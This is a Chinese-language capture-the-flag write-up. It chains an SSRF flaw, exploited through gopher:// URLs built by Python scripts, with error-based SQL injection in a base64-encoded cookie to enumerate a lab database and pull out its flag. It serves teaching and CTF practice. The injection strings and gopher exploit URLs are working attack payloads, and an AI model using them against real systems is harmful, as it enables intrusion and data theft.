题目
知识点
本题涉及知识点
- ssrf 端口扫描
- ssrf + gopher协议
- sql注入(报错注入or时间盲注)
- python脚本编写
解题思路
ssrf发现
打开网页,发现下面有一行提示,你不是内部用户
admin' or 1#
admin" or 1#
admin') or 1#
admin')) or 1#
直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php被注释。
访问use.php
有经验就可以发现是一个ssrf的漏洞
ssrf详解
什么是ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
我理解的是相当于内网穿透,你获取到其中一个内网主机,可以用这个内网主机作为服务器向其他的内网机器发起攻击。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
ssrf的利用
- 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
- 转码服务,适应硬件设备的大小;
- 图片的加载与下载
- 图片,文章的收藏;
产生SSRF漏洞的函数
- file_get_contents
- fsockopen()
ssrf漏洞利用
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
本题目就是运用第六种,gopher协议。
gopher协议
编写payload脚本,实现内部访问:
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
#按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
#因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
运行得到
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A
然后bp抓包
可以发现setcookie的值为admin的base64编码值。
猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,构造payload为admin’ #
构造脚本
import urllib.parse
host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
得到:
gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A
报错注入
找闭合点
http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A
发现单引号闭合不对,通过测试发现单引号加括号闭合才是真正的闭合点
http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSAj%250D%250A%250D%250A
所以后面可以直接使用报错注入。
设计payload
payload为admin’) and extractvalue(1, concat(0x7e, (select @@version),0x7e)) # 检查是否可以进行报错注入
运用python转换成gopher协议
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A
如图可以看到,数据库信息被回显出来了,所以报错信息可以使用,接下来就是查库,查表、查列了。
查数据库
查数据库:admin’) and extractvalue(1, concat(0x7e, (select database()),0x7e)) #
python脚本:
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSAj%250D%250A%250D%250A
数据库为:security
查表
查表:admin’) and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’),0x7e)) #
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpKSAj%250D%250A%250D%250A
有5个表,但是有经验的一般都是看flag这个库
查字段
查flag表中的列:admin’) and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=‘flag’),0x7e)) #
python脚本:
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVChjb2x1bW5fbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSdmbGFnJyksMHg3ZSkpICM%253D%250D%250A%250D%250A
只有一个flag字段
查内容
admin’) and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #
python脚本
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIGZsYWcgZnJvbSBmbGFnKSwweDdlKSkgIw%253D%253D%250D%250A%250D%250A
此时出现了另一个问题,报错的回显最大位数为32位,此时我们只获得了32位,需要用substr函数进行分割读取:
分割读取
admin’) and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #
python脚本:
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCBzdWJzdHIoKFNFTEVDVCBmbGFnIGZyb20gZmxhZyksMzAsMzIpLDB4N2UpKSAj%250D%250A%250D%250A
提交flag
将两次的内容合并就得到了flag:
cyberpeace{e77ca6e17117cd13f6d861cb8ffc2f31}